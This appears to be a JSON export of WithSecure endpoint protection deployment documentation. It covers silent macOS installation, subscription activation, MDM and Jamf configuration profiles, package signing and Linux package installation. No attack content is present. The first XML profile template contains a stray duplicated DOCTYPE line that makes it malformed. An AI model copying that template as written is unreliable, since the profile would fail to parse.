"shortdesc_cp_automatic_installatio_087AB": "Automatic installation, configuration, and subscription activation for WithSecure Computer Protection for Mac. ", "content.p_cp_automatic_installatio_0E086": "You can deploy WithSecure Computer Protection for Mac automatically so that it installs, applies its configuration, and activates its subscription without manual steps on each Mac.", "desc": [ "content.p_cp_automatic_installatio_0E086" ] }, "autom_installing_cp_mac-latest-en.json": { "title": "title_autom_installing_cp_mac_004E96", "title_autom_installing_cp_mac_004E96": "Install the product automatically", "shortdesc": "shortdesc_autom_installing_cp_mac_009C5B", "shortdesc_autom_installing_cp_mac_009C5B": "Runs a silent installation of the product using the command-line interface. ", "content.p_autom_installing_cp_mac_0031FC": "macOS supports silent installation of product packages which requires no user interaction. You can install the product using the command-line interface.", "content.p_autom_installing_cp_mac_0025AE": "To run a silent installation:", "content.p_autom_installing_cp_mac_007FB2": "Enter the following command:", "content.p_autom_installing_cp_mac_00F30A": "sudo installer -pkg /path/to/pkg -target /", "content.note_autom_installing_cp_mac_00A4DD": "Note: For more details and options, refer to man installer.", "content.note_autom_installing_cp_mac_00249B": "Note: If the distribution tool that you are using requires a .pkg installer, you can rename the .mpkg installer to .pkg.", "desc": [ "content.p_autom_installing_cp_mac_0031FC", "content.p_autom_installing_cp_mac_0025AE", "content.p_autom_installing_cp_mac_007FB2", "content.p_autom_installing_cp_mac_00F30A", "content.note_autom_installing_cp_mac_00A4DD", "content.note_autom_installing_cp_mac_00249B" ] }, "activating_subscription_cp_mac-latest-en.json": { "title": "title_activating_subscription__0998C", "title_activating_subscription__0998C": "Activate the subscription", "shortdesc": "shortdesc_activating_subscription__0C1C3", "shortdesc_activating_subscription__0C1C3": "Activates the product subscription. ", "content.p_activating_subscription__0FB72": "After installing the product, you need to activate it.", "content.note_activating_subscription__0C067": "Note: When renewing a subscription, you do not need to activate it.", "content.p_activating_subscription__0F5E3": "There are two ways to activate it automatically without any user interaction.", "step.step_activating_subscription__06F93": "You can embed the subscription key into the product package name. The product will be activated during the installation process.", "step.step_activating_subscription__0CD18": "You can active the product using the activator tool that is distributed with WithSecure Elements EPP for Computers (Mac) versions 17.8.32555 and newer.", "content.p_activating_subscription__03ADA": "To activate the subscription:", "content.note_activating_subscription__0FCC3": "Note: You need to have internet access to activate the subscription.", "subchoice.choice_activating_subscription__041A9": "Select the subscription key while downloading product installation package from WithSecure Elements Security Center", "content.note_activating_subscription__0DCC3": "Note: If the software management tool does not accept square brackets, you can use double underscore as an alternative solution: ElementsAgentInstaller__XXXX-XXXX-XXXX-XXXX-XXXX__.pkg.", "subchoice.choice_activating_subscription__06CBF": "Change the product package manually so that it looks as follows: ElementsAgentInstaller[XXXX-XXXX-XXXX-XXXX-XXXX].pkg.", "content.p_activating_subscription__0E003": "The product will be activated during the installation process.", "step.step_activating_subscription__0251C": "To activate the product by embedding the subscription key into the product package name, do one of the following:", "content.p_activating_subscription__01900": "/Library/WithSecure/bin/activator --subscription-key \"<subscription key>\"", "content.note_activating_subscription__01DC5": "Note: The activator tool is distributed with WithSecure Elements EPP for Computers (Mac) versions 17.8.32555 and newer.", "step.step_activating_subscription__0579F": "To activate the product using the activator tool, enter the following command:", "desc": [ "content.p_activating_subscription__0FB72", "content.note_activating_subscription__0C067", "content.p_activating_subscription__0F5E3", { "steps.ul_activating_subscription__029AA": [ "step.step_activating_subscription__06F93", "step.step_activating_subscription__0CD18" ] }, "content.p_activating_subscription__03ADA", "content.note_activating_subscription__0FCC3", { "steps.steps_activating_subscription__06687": [ "step.step_activating_subscription__0251C", { "subchoices.choices_activating_subscription__0A43D": [ "subchoice.choice_activating_subscription__041A9", "subchoice.choice_activating_subscription__06CBF", "content.note_activating_subscription__0DCC3" ] }, "content.p_activating_subscription__0E003", "step.step_activating_subscription__0579F", "content.p_activating_subscription__01900", "content.note_activating_subscription__01DC5" ] } ] }, "assign_default_profile_cp_mac-latest-en.json": { "title": "title_assign_default_profile_c_0C176", "title_assign_default_profile_c_0C176": "Assign a default profile and installation tags", "shortdesc": "shortdesc_assign_default_profile_c_02D06", "shortdesc_assign_default_profile_c_02D06": "After installing the product, but before activating your subscription, you can assign the device a default profile and installation tags. ", "content.p_assign_default_profile_c_00FE7": "To assign a default profile and installation tags:", "content.p_assign_default_profile_c_079AA": "/Library/WithSecure/bin/activator --profile-id <your profile id>", "content.p_assign_default_profile_c_0A586": "Sets your profile ID value in the COSMOS settings to the device after you activate the subscription. For example: --profile-id 18062053.", "content.note_assign_default_profile_c_00E09": "Note: To find your profile ID, open the profile in the profile editor. The profile ID can be found in the URL, for example: https://emea.psb.f-secure.com/#/c1234567/profiles/computer-protection/edit/1112223/generalSettings. In this example, The first value c1234567 is the company profile ID and the second value 1112223 is your profile ID.", "step.step_assign_default_profile_c_0F8BD": "After you have installed the product, you can customize the default profile by entering the following command:", "content.p_assign_default_profile_c_02951": "/Library/WithSecure/bin/activator --tags \"<tags>\" ", "content.p_assign_default_profile_c_0B85C": "The customized tags are assigned to the device after you activate the subscription.", "step.step_assign_default_profile_c_0A8C7": "You can assign customized installation tags by entering the following command:", "content.p_assign_default_profile_c_0FDBB": "/Library/WithSecure/bin/activator --help The following output is shown: USAGE: activator [--profile-id <profile-id>] [--tags \"<tags>\"] ^
[--subscription-key \"<subscription-key>\" ^
OPTIONS:^
-p, --profile-id <profile-id> ^
ID of the desired PSB profile. Example: 123456.
-t, --tags <tags> Installation tags values. Example: \"PSB=tag1:tag2:tag3,^
department=R&D,role=engineer\". ^
-s, --subscription-key <subscription-key> ^
Subscription key to activate. ^
-h, --help Show help information.", "step.step_assign_default_profile_c_01988": "Before activating the product you can add parameters to the default profile and installation tags. For details on how to use the activator tool and available options, enter the following command to see the help:", "desc": [ "content.p_assign_default_profile_c_00FE7", { "steps.steps_assign_default_profile_c_048F9": [ "step.step_assign_default_profile_c_0F8BD", "content.p_assign_default_profile_c_079AA", "content.p_assign_default_profile_c_0A586", "content.note_assign_default_profile_c_00E09", "step.step_assign_default_profile_c_0A8C7", "content.p_assign_default_profile_c_02951", "content.p_assign_default_profile_c_0B85C", "step.step_assign_default_profile_c_01988", "content.p_assign_default_profile_c_0FDBB" ] } ] }, "distribution_scenarios_cp_mac-latest-en.json": { "title": "title_distribution_scenarios_c_0F50A", "title_distribution_scenarios_c_0F50A": "Common distribution scenarios", "shortdesc": "shortdesc_distribution_scenarios_c_0D4B6", "shortdesc_distribution_scenarios_c_0D4B6": "The following lists common scenarios for distributing Elements Endpoint Protection software. ", "content.p_distribution_scenarios_c_04467": "You can distribute the products as follows through:", "step.step_distribution_scenarios_c_05FB6": "ssh", "step.step_distribution_scenarios_c_018D3": "MDM or another software distribution solution (for example, Munki) manually activating and configuring the product", "step.step_distribution_scenarios_c_0FEC5": "MDM or another software distribution solution, using a custom package to activate and configure the product", "step.step_distribution_scenarios_c_092B8": "MDM or another software distribution solution, using one package to both install and activate the product", "content.note_distribution_scenarios_c_0BA37": "Note: Apart from MDM, you can also use another software distribution solution. For instructions on importing the package, see the documentation for your third-party solution.", "desc": [ "content.p_distribution_scenarios_c_04467", { "steps.ul_distribution_scenarios_c_0D27A": [ "step.step_distribution_scenarios_c_05FB6", "step.step_distribution_scenarios_c_018D3", "step.step_distribution_scenarios_c_0FEC5", "step.step_distribution_scenarios_c_092B8" ] }, "content.note_distribution_scenarios_c_0BA37" ] }, "using_mdm_mac-latest-en.json": { "title": "title_using_mdm_mac_000001_D1E7E0FB", "title_using_mdm_mac_000001_D1E7E0FB": "Use MDM profiles to set up the product", "shortdesc": "shortdesc_using_mdm_mac_000002_17D7A505", "shortdesc_using_mdm_mac_000002_17D7A505": "MDM profiles help you set up the product on a large number of devices within your organization. ", "content.p_using_mdm_mac_000012_820D2678": "To create MDM profiles to deploy the product configuration to devices, follow these instructions:", "content.p_using_mdm_mac_000016_0EE77BCB": "Use the following templates to create or extend your own MDM profiles.", "content.note_using_mdm_mac_000018_2BDB9B77": "Note: Replace all PayloadUUID and PayloadIdentifier values in templates with your own values. You can generate UUID with the uuidgen command-line tool, for example.", "content.p_using_mdm_mac_00001C_D0746C3C": "Allow all WithSecure system extensions:", "content.p_using_mdm_mac_00001E_3D3EBFFD": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC '-//Apple//DTD PLIST 1.0//EN' 'http://www.apple.com/DTDs/PropertyList-1.0.dtd'>
'http://www.apple.com/DTDs/PropertyList-1.0.dtd'>
<plist version=\"1.0\">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>AllowUserOverrides</key>
<true/>
<key>AllowedTeamIdentifiers</key>
<array>
<string>V928P8X763</string>
</array>
<key>RemovableSystemExtensions</key>
<dict>
<key>V928P8X763</key>
<array>
<string>com.withsecure.wsagent.wssystemextension</string>
</array>
</dict>
<key>PayloadDescription</key>
<string>Allows WithSecure System Extension</string>
<key>PayloadDisplayName</key>
<string>WithSecure System Extension</string>
<key>PayloadIdentifier</key>
<string>com.apple.system-extension-policy.213E79BF-4F5E-430D-AFED-D76EC62ACE96</string>
<key>PayloadType</key>
<string>com.apple.system-extension-policy</string>
<key>PayloadUUID</key>
<string>213E79BF-4F5E-430D-AFED-D76EC62ACE96</string>
<key>PayloadVersion</key>
<integer>1</integer>
<key>PayloadOrganization</key>
<string>WithSecure Oyj</string>
</dict>
</array>
<key>PayloadDisplayName</key>
<string>WithSecure Agent Profile</string>
<key>PayloadIdentifier</key>
<string>SAMPLE.00000000-0000-0000-0000-000000000001</string>
<key>PayloadRemovalDisallowed</key>
<false/>
<key>PayloadType</key>
<string>Configuration</string>
<key>PayloadUUID</key>
<string>00000000-0000-0000-0000-000000000001</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>
</plist>", "content.p_using_mdm_mac_000020_40FFEE98": "Allow content filtering for WithSecure system extension:", "content.note_using_mdm_mac_000023_639085E7": "Note: Required on macOS 10.15.5 or later. For more information, see the Apple Developer documentation: the WebContentFilter page", "content.p_using_mdm_mac_000025_4B22D4B9": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>UserDefinedName</key>
<string>WithSecure Firewall</string>
<key>PluginBundleID</key>
<string>com.withsecure.wsagent</string>
<key>FilterDataProviderBundleIdentifier</key>
<string>com.withsecure.wsagent.wssystemextension</string>
<key>FilterDataProviderDesignatedRequirement</key>
<string>identifier \"com.withsecure.wsagent.wssystemextension\" and anchor apple generic and certificate leaf[subject.OU] = \"V928P8X763\"</string>
<key>FilterSockets</key>
<true/>
<key>FilterPackets</key>
<false/>
<key>FilterBrowsers</key>
<false/>
<key>FilterType</key>
<string>Plugin</string>
<key>PayloadDescription</key>
<string>Allow WithSecure Firewall to filter network traffic</string>
<key>PayloadDisplayName</key>
<string>WithSecure Firewall</string>
<key>PayloadIdentifier</key>
<string>com.apple.webcontent-filter.9FF6DE99-59E2-47A1-8918-CE259D92E785</string>
<key>PayloadType</key>
<string>com.apple.webcontent-filter</string>
<key>PayloadUUID</key>
<string>9FF6DE99-59E2-47A1-8918-CE259D92E785</string>
<key>PayloadVersion</key>
<integer>1</integer>
<key>PayloadOrganization</key>
<string>WithSecure Oyj</string>
</dict>
</array>
<key>PayloadDisplayName</key>
<string>WithSecure Agent Profile</string>
<key>PayloadIdentifier</key>
<string>SAMPLE.00000000-0000-0000-0000-000000000001</string>
<key>PayloadRemovalDisallowed</key>
<false/>
<key>PayloadType</key>
<string>Configuration</string>
<key>PayloadUUID</key>
<string>00000000-0000-0000-0000-000000000001</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>
</plist>", "content.p_using_mdm_mac_000027_8A4E0171": "Grant full disk access for WithSecure processes:", "content.note_using_mdm_mac_00002A_C80BCAD1": "Note: Required. For more information, see the Apple Developer documentation: the PrivacyPreferencesPolicyControl.Services page", "content.p_using_mdm_mac_00002C_91515D97": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>PayloadDescription</key>
<string>Grant Full Disk Access to WithSecure processes</string>
<key>PayloadDisplayName</key>
<string>Grant Full Disk Access to WithSecure processes</string>
<key>PayloadIdentifier</key>
<string>com.apple.TCC.configuration-profile-policy.F8432F17-1ECD-420D-B3D0-2A35F0BB144E</string>
<key>PayloadUUID</key>
<string>F8432F17-1ECD-420D-B3D0-2A35F0BB144E</string>
<key>PayloadType</key>
<string>com.apple.TCC.configuration-profile-policy</string>
<key>PayloadOrganization</key>
<string>WithSecure Oyj</string>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>Identifier</key>
<string>com.withsecure.wsagent</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>CodeRequirement</key>
<string>identifier \"com.withsecure.wsagent\" and anchor apple generic and certificate leaf[subject.OU] = \"V928P8X763\"</string>
<key>Allowed</key>
<true/>
<key>Comment</key>
<string>Grant Full Disk Access to WithSecure processes</string>
</dict>
<dict>
<key>Identifier</key>
<string>com.withsecure.wsagent.wssystemextension</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>CodeRequirement</key>
<string>identifier \"com.withsecure.wsagent.wssystemextension\" and anchor apple generic and certificate leaf[subject.OU] = \"V928P8X763\"</string>
<key>Allowed</key>
<true/>
<key>Comment</key>
<string>Grant Full Disk Access to WithSecure's System Extension'</string>
</dict>
</array>
</dict>
</dict>
</array>
<key>PayloadDisplayName</key>
<string>WithSecure Agent Profile</string>
<key>PayloadIdentifier</key>
<string>SAMPLE.00000000-0000-0000-0000-000000000001</string>
<key>PayloadRemovalDisallowed</key>
<false/>
<key>PayloadType</key>
<string>Configuration</string>
<key>PayloadUUID</key>
<string>00000000-0000-0000-0000-000000000001</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>
</plist>", "content.p_using_mdm_mac_00002E_5CEBF1B4": "Allow user notifications for WithSecure processes:", "content.note_using_mdm_mac_000031_A3AB2AB2": "Note: Required. For more information, see the Apple Developer documentation: the NotificationSettingsItem page", "content.p_using_mdm_mac_000033_429892C6": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>PayloadContent</key>
<array>
<dict>
<key>NotificationSettings</key>
<array>
<dict>
<key>AlertType</key>
<integer>2</integer>
<key>BadgesEnabled</key>
<true/>
<key>BundleIdentifier</key>
<string>com.withsecure.wsagent</string>
<key>CriticalAlertEnabled</key>
<false/>
<key>NotificationsEnabled</key>
<true/>
<key>ShowInLockScreen</key>
<true/>
<key>ShowInNotificationCenter</key>
<true/>
<key>SoundsEnabled</key>
<true/>
</dict>
</array>
<key>PayloadEnabled</key>
<true/>
<key>PayloadDescription</key>
<string>Allow notifications for WithSecure products</string>
<key>PayloadDisplayName</key>
<string>Allow notifications for WithSecure products</string>
<key>PayloadIdentifier</key>
<string>com.apple.notificationsettings.A134E8B3-AE82-4AE9-8D39-F9976B5BEEE1</string>
<key>PayloadType</key>
<string>com.apple.notificationsettings</string>
<key>PayloadUUID</key>
<string>A134E8B3-AE82-4AE9-8D39-F9976B5BEEE1</string>
<key>PayloadVersion</key>
<integer>1</integer>
<key>PayloadOrganization</key>
<string>WithSecure Corporation</string>
</dict>
</array>
<key>PayloadDisplayName</key>
<string>WithSecure Agent Profile</string>
<key>PayloadIdentifier</key>
<string>SAMPLE.00000000-0000-0000-0000-000000000001</string>
<key>PayloadRemovalDisallowed</key>
<false/>
<key>PayloadType</key>
<string>Configuration</string>
<key>PayloadUUID</key>
<string>00000000-0000-0000-0000-000000000001</string>
<key>PayloadVersion</key>
<integer>1</integer>
</dict>
</plist>", "step.step_using_mdm_mac_000014_66EFC438": "Generate MDM profiles for system preferences.", "content.note_using_mdm_mac_000038_115CEF24": "Note: For more information, consult the documentation of your MDM service.", "step.step_using_mdm_mac_000035_58907238": "Import the MDM profiles that you have created into your MDM service and use it to deploy the configuration to devices in the organization.", "desc": [ "content.p_using_mdm_mac_000012_820D2678", { "steps.steps_using_mdm_mac_000013_3775749E": [ "step.step_using_mdm_mac_000014_66EFC438", "content.p_using_mdm_mac_000016_0EE77BCB", "content.note_using_mdm_mac_000018_2BDB9B77", "content.p_using_mdm_mac_00001C_D0746C3C", "content.p_using_mdm_mac_00001E_3D3EBFFD", "content.p_using_mdm_mac_000020_40FFEE98", "content.note_using_mdm_mac_000023_639085E7", "content.p_using_mdm_mac_000025_4B22D4B9", "content.p_using_mdm_mac_000027_8A4E0171", "content.note_using_mdm_mac_00002A_C80BCAD1", "content.p_using_mdm_mac_00002C_91515D97", "content.p_using_mdm_mac_00002E_5CEBF1B4", "content.note_using_mdm_mac_000031_A3AB2AB2", "content.p_using_mdm_mac_000033_429892C6", "step.step_using_mdm_mac_000035_58907238", "content.note_using_mdm_mac_000038_115CEF24" ] } ] }, "importing_mdm_profiles_jamf-latest-en.json": { "title": "title_importing_mdm_profiles_j_0A3DE", "title_importing_mdm_profiles_j_0A3DE": "Create MDM profiles for Jamf management system", "shortdesc": "shortdesc_importing_mdm_profiles_j_0BAF2", "shortdesc_importing_mdm_profiles_j_0BAF2": "Creates MDM profiles with system extension settings for the Jamf portal. ", "content.p_importing_mdm_profiles_j_0EC83": "By creating MDM profiles with system extension settings for Jamf, you can streamline the management of Apple devices. This integration allows for a centralized approach to configuring and securing devices, ensuring consistency across the organization. System extensions can provide additional security features that are not part of the standard operating system. Creating these into Jamf means that you can deploy these enhanced security measures to all managed devices.", "content.p_importing_mdm_profiles_j_03D3D": "To create MDM profiles:", "step.step_importing_mdm_profiles_j_00A51": "Log in to the Jamf portal", "content.p_importing_mdm_profiles_j_0BF7D": "The Configuration Profiles page opens.", "step.step_importing_mdm_profiles_j_0ED74": "Select Computers > Configuration Profiles.", "step.step_importing_mdm_profiles_j_0C925": "To create a new profile, first select New.", "step.step_importing_mdm_profiles_j_03F4A": "On the New macOS configuration profile page, select Options > General.", "substep.substep_importing_mdm_profiles_j_01298": "Enter a name for the new profile.", "substep.substep_importing_mdm_profiles_j_0E7BB": "From the Level drop-down menu, select Computer level.", "substep.substep_importing_mdm_profiles_j_01DB9": "From the Distribution method drop-down menu, select Install Automatically.", "step.step_importing_mdm_profiles_j_03CFF": "Do the following:", "substep.substep_importing_mdm_profiles_j_055D5": "Under Options, select System Extensions.", "substep.substep_importing_mdm_profiles_j_0AB33": "In the Display Name box, enter WithSecure.", "substep.substep_importing_mdm_profiles_j_04F0A": "From the System Extension Types drop-down menu, select Allowed System Extensions.", "substep.substep_importing_mdm_profiles_j_0F33D": "In the Team Identifier box, enter V928P8X763.", "content.p_importing_mdm_profiles_j_09F41": "com.withsecure.wsagent.wssystemextension", "substep.substep_importing_mdm_profiles_j_0A093": "Under Allowed System Extension, enter the following and then select Save:", "substep.substep_importing_mdm_profiles_j_0AA1F": "Select + to add a new Allowed System Extension and Teams IDs.", "substep.substep_importing_mdm_profiles_j_0F50C": "In the Display Name field, enter WithSecure Elements System Extension Allow Removal.", "substep.substep_importing_mdm_profiles_j_0D675": "From the System Extension types drop-down menu, select Removable System Extensions.", "substep.substep_importing_mdm_profiles_j_05595": "In the Team Identifier field, enter V928P8X763.", "content.p_importing_mdm_profiles_j_0B082": "com.withsecure.wsagent.wssystemextension", "substep.substep_importing_mdm_profiles_j_05BE5": "Under Removable System Extensions, select Add and enter the following:", "step.step_importing_mdm_profiles_j_08FCB": "To configure the system extensions, do the following:", "step.step_importing_mdm_profiles_j_0CE36": "Select Save.", "desc": [ "content.p_importing_mdm_profiles_j_0EC83", "content.p_importing_mdm_profiles_j_03D3D", { "steps.steps_importing_mdm_profiles_j_041C0": [ "step.step_importing_mdm_profiles_j_00A51", "step.step_importing_mdm_profiles_j_0ED74", "content.p_importing_mdm_profiles_j_0BF7D", "step.step_importing_mdm_profiles_j_0C925", "step.step_importing_mdm_profiles_j_03F4A", "step.step_importing_mdm_profiles_j_03CFF", { "substeps.substepsalpha_importingalpha_mdmalpha_profilesalpha_jalpha_05A99": [ "substep.substep_importing_mdm_profiles_j_01298", "substep.substep_importing_mdm_profiles_j_0E7BB", "substep.substep_importing_mdm_profiles_j_01DB9" ] }, "step.step_importing_mdm_profiles_j_08FCB", { "substeps.substepsalpha_importingalpha_mdmalpha_profilesalpha_jalpha_0FC74": [ "substep.substep_importing_mdm_profiles_j_055D5", "substep.substep_importing_mdm_profiles_j_0AB33", "substep.substep_importing_mdm_profiles_j_04F0A", "substep.substep_importing_mdm_profiles_j_0F33D", "substep.substep_importing_mdm_profiles_j_0A093", "content.p_importing_mdm_profiles_j_09F41", "substep.substep_importing_mdm_profiles_j_0AA1F", "substep.substep_importing_mdm_profiles_j_0F50C", "substep.substep_importing_mdm_profiles_j_0D675", "substep.substep_importing_mdm_profiles_j_05595", "substep.substep_importing_mdm_profiles_j_05BE5", "content.p_importing_mdm_profiles_j_0B082" ] }, "step.step_importing_mdm_profiles_j_0CE36" ] } ] }, "sw_signing_cp_mac-latest-en.json": { "title": "title_sw_signing_cp_mac_000001_980F6", "title_sw_signing_cp_mac_000001_980F6": "Signing and notarizing software on macOS", "shortdesc": "shortdesc_sw_signing_cp_mac_000002_6FC08", "shortdesc_sw_signing_cp_mac_000002_6FC08": "To validate your custom product package and allow its installation on macOS, the package needs to be signed and notarized. ", "content.p_sw_signing_cp_mac_000010_261E3": "To sign and notarize the package, obtain distribution signing certificates from Apple. For more information, refer to the Apple documentation.", "content.p_sw_signing_cp_mac_000012_ED5CB": "You can specify your distribution certificate using the pkgbuild, productbuild or productsign utilities that are designed to build and sign product packages. After successfully signing your custom product package, you need to notarize it. For more information, refer to Notarizing macOS Software Before Distribution.", "content.note_sw_signing_cp_mac_000017_8DE84": "Note: By using the -allowUntrusted flag of the installer, you can bypass the certificate verification on macOS during the package installation. Some MDM solutions support the installation of unsigned packages, but it is not a recommended solution.", "desc": [ "content.p_sw_signing_cp_mac_000010_261E3", "content.p_sw_signing_cp_mac_000012_ED5CB", "content.note_sw_signing_cp_mac_000017_8DE84" ] }, "deployment_linux-latest-en.json": { "title": "title_deployment_linux_000001_AAAB0C", "title_deployment_linux_000001_AAAB0C": "Deployment methods for Linux devices", "shortdesc": "shortdesc_deployment_linux_000002_57096A", "shortdesc_deployment_linux_000002_57096A": "The most common deployment methods for Linux devices. ", "content.p_deployment_linux_000011_E559F2": "For a single device or a small environment, choose one of these methods:", "step.step_deployment_linux_000013_C618C4": "An administrator downloads the installer (see below) and runs it on the device.", "step.step_deployment_linux_000014_DC06D5": "An administrator invites the user by email. The user receives a link to download and install the agent.", "content.p_deployment_linux_000015_A0C677": "For larger deployments, these methods are suitable for companies that use Linux devices and want to deploy WithSecure Elements Agent.", "content.p_deployment_linux_000017_4CACB9": "WithSecure Elements Agent for Linux provides two alternative methods for installing the agent on managed endpoint devices:", "choice.choice_deployment_linux_00001A_3F9A41": "a DEB or RPM package", "choice.choice_deployment_linux_00001B_4C50A8": "a generic installer package", "content.p_deployment_linux_000026_E5D4D9": "Choose the correct package format based on the Linux distribution:", "step.step_deployment_linux_00001D_0AF040": "DEB packages are compatible with Debian and Ubuntu systems.", "step.step_deployment_linux_00001E_814ED7": "RPM packages are compatible with AlmaLinux, Amazon Linux, Rocky Linux, Oracle Linux, Red Hat Enterprise Linux, and SUSE Linux Enterprise Server systems.", "step.step_deployment_linux_00001F_E14A1A": "You can use the generic installer package on all supported systems.", "content.p_deployment_linux_000020_F91774": "There are two versions available for download: AMD64 and ARM64. You need to select the version that matches you image architecture.", "content.p_deployment_linux_000021_951D9E": "When using any of the installers, you download the installer and make sure that the dependencies are installed. You then run the commands to activate the product.", "content.p_deployment_linux_000022_37FE0F": "When you install the product in WithSecure Elements managed mode, you can use WithSecure Elements Security Center to centrally manage product installations.", "content.p_deployment_linux_000025_7ACF11": "The installation process consists of two steps: installing the product and activating it. The product requires a connection to cloud services for database updates and for the subscription validation. If the subscription cannot be validated for two weeks, the product stops working.", "desc": [ "content.p_deployment_linux_000011_E559F2", { "steps.ul_deployment_linux_000012_3A165D": [ "step.step_deployment_linux_000013_C618C4", "step.step_deployment_linux_000014_DC06D5" ] }, "content.p_deployment_linux_000015_A0C677", "content.p_deployment_linux_000017_4CACB9", { "choices.ul_deployment_linux_000019_2BE2AC": [ "choice.choice_deployment_linux_00001A_3F9A41", "choice.choice_deployment_linux_00001B_4C50A8" ] }, "content.p_deployment_linux_000026_E5D4D9", { "steps.ul_deployment_linux_00001C_3E2C82": [ "step.step_deployment_linux_00001D_0AF040", "step.step_deployment_linux_00001E_814ED7", "step.step_deployment_linux_00001F_E14A1A" ] }, "content.p_deployment_linux_000020_F91774", "content.p_deployment_linux_000021_951D9E", "content.p_deployment_linux_000022_37FE0F", "content.p_deployment_linux_000025_7ACF11" ] }, "concept_opg_mn3_b1c-latest-en.json": { "title": "title_installing_linux_psb_00000AC84", "title_installing_linux_psb_00000AC84": "Installing the product for use with WithSecure Elements", "shortdesc": "shortdesc_installing_linux_psb_000003EE1", "shortdesc_installing_linux_psb_000003EE1": "These deployment methods are suitable for companies that use Linux devices and want to deploy WithSecure Elements Agent.", "content.p_installing_linux_psb_000012A36": "WithSecure Elements Agent for Linux provides two alternative methods for installing the agent on managed endpoint devices:", "choice.choice_installing_linux_psb_00001BDC9": "a DEB or RPM package", "choice.choice_installing_linux_psb_000014782": "a generic installer package", "content.p_installing_linux_psb_00002B5CD": "Choose the correct package format based on the Linux distribution:", "step.step_installing_linux_psb_000016523": "DEB packages are compatible with Debian and Ubuntu systems.", "step.step_installing_linux_psb_00001E8C6": "RPM packages are compatible with AlmaLinux, Amazon Linux, Rocky Linux, Oracle Linux, Red Hat Enterprise Linux, and SUSE Linux Enterprise Server systems.", "step.step_installing_linux_psb_000017110": "You can use the generic installer package on all supported systems.", "content.p_installing_linux_psb_00001BB1D": "There are AMD64 and ARM64 versions available for downloads. You need to select the version that matches you image architecture.", "content.p_installing_linux_psb_000019D83": "When using any of the installers, you download the installer and make sure that the dependencies are installed. You then run the commands to activate the product.", "content.p_installing_linux_psb_00001E847": "When you install the product in WithSecure Elements managed mode, you can use the WithSecure Elements portal to centrally manage product installations.", "content.p_installing_linux_psb_00002817A": "The installation process consists of two steps: installing the product and activating it. The product requires a connection to cloud services for database updates and for the subscription validation. If the subscription cannot be validated for two weeks, the product stops working.", "desc": [ "content.p_installing_linux_psb_000012A36", { "choices.ul_installing_linux_psb_000016A56": [ "choice.choice_installing_linux_psb_00001BDC9", "choice.choice_installing_linux_psb_000014782" ] }, "content.p_installing_linux_psb_00002B5CD", { "steps.ul_installing_linux_psb_000011BBF": [ "step.step_installing_linux_psb_000016523", "step.step_installing_linux_psb_00001E8C6", "step.step_installing_linux_psb_000017110" ] }, "content.p_installing_linux_psb_00001BB1D", "content.p_installing_linux_psb_000019D83", "content.p_installing_linux_psb_00001E847", "content.p_installing_linux_psb_00002817A" ] }, "task_fqp_l43_b1c-latest-en.json": { "title": "title_installing_deb_rpm_000001_67B7", "title_installing_deb_rpm_000001_67B7": "Install the product using a DEB or RPM package", "shortdesc": "shortdesc_installing_deb_rpm_000002_F482", "shortdesc_installing_deb_rpm_000002_F482": "Installs the product using a DEB or RPM package.", "content.note_installing_deb_rpm_000013_0776": "Note: There are platform architecture-specific installers. You need to download the matching one.", "substep.substep_installing_deb_rpm_000018_C745": "Go to the WithSecure download page and download the DEB or RPM installer package that matches your operating system and architecture, either AMD64 or ARM64.", "substep.substep_installing_deb_rpm_00001B_C799": "Log in to the Linux host as root.", "substep.substep_installing_deb_rpm_00001D_0AA7": "For checking that the required dependencies are installed, see Linux Protection system requirements.", "subsubchoice.choice_installing_deb_rpm_000024_DF3B": "Depending on whether you use an AMD64 or ARM64 version, on DEB-based distributions, run one of the following commands: dpkg -i linuxsecurity-installer_amd64.debdpkg -i linuxsecurity-installer_arm64.deb", "subsubchoice.choice_installing_deb_rpm_000027_9B4C": "Depending on whether you use an AMD64 or ARM64 version, on RPM-based distributions, run one the following commands: rpm -Uvh linuxsecurity-installer.x86_64.rpmrpm -Uvh linuxsecurity-installer.aarch64.rpm", "content.p_installing_deb_rpm_000022_9082": "", "substep.substep_installing_deb_rpm_000020_4307": "Deploy the installer package on the endpoint device using the system package manager:", "step.step_installing_deb_rpm_000015_00B8": "To install the product, do the following:", "content.p_installing_deb_rpm_00002C_E4C7": "/opt/f-secure/linuxsecurity/bin/activate --psb --subscription-key SUBSCRIPTION-KEY --profile-id PROFILE-ID", "content.note_installing_deb_rpm_00002E_E263": "Note: Replace SUBSCRIPTION-KEY with the product subscription key. The --profile-id parameter is optional but by adding it, the agent installation can be associated with one of the profiles available in the profile editor view in WithSecure Elements Security Center. Replace PROFILE-ID with the numeric identifier of the profile.", "step.step_installing_deb_rpm_00002A_5317": "To activate the product, run the following command:", "content.note_installing_deb_rpm_000030_768E": "Note: You can use the --override-distro option to install the product on a distribution that is not officially supported. For example, use --override-distro rhel:8.6. WithSecure cannot offer support for any issues with unsupported distributions.", "content.note_installing_deb_rpm_000034_8638": "Note: To use an HTTP proxy during the activation process, add the --http-proxy command line option. You can use this option in the following formats:", "desc": [ "content.note_installing_deb_rpm_000013_0776", { "steps.steps_installing_deb_rpm_000014_C626": [ "step.step_installing_deb_rpm_000015_00B8", { "substeps.substepsalpha_installingalpha_debalpha_rpmalpha_000017alpha_956E": [ 